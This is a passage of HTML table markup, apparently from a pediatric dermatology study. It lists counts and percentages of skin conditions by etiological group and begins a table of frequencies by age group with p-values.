style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Nail incarnated</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.9</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dermatoseinflammatoire</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">49</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6.0</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Vitiligo</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">25</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">51.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Lichen planus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Erythema multiform</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Psoriasis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.2</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Granuloma annulare</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.1</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pelad</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6.1</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Scleroderma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Erythema nodosum</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">G&eacute;nodermatosis</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">23</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">2.8</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Ichtyosis vulgaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30.4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Keratosis pilairis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">17.4</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hereditary epidermolysis bullosa</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Verruciform epidermodysplasia</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Palmoplantar k&eacute;ratodermae</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Neurofibromatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Pityriasisrubra pilaris</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Mosaic&iuml;sm</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Baby collodion</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4.3</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Toxidermia</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">13</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">1.6</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Maculopapular exanthema</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">61.5</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Fixed pigmented erythema</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38.5</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dyschromic dermatosis</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">7</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.9</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Post inflammatory hyperpigmentation</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">100.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Tumoral dermatosis</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">35</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">4.3</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Hypertrophic scar</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">42.9</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infant hemangioma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">14</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">40.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Warty nevus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8.6</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Kaposi disease</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5.7</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Botriomycoma</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2.9</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"3\" style=\"width:440.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Unclassified dermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:192.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">To determine</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:134.65pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">100.0</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table V:</strong> Different frequencies of dermatoses by etiological groups.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dermatosis</span></strong></p>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0-2 years</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">3-5 years</span></strong></p>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6-12 years</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">13-18 years</span></strong></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">p</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"6\" style=\"width:489.8pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Immuno-allergic dermatosis</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Atopic dermatitis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30 (29.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19 (31.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:63.8pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">36 (50.0)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (15.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:177.55pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Prurigostrophulus</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:50.0pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">33 (32.0)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">29 (48.3)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td 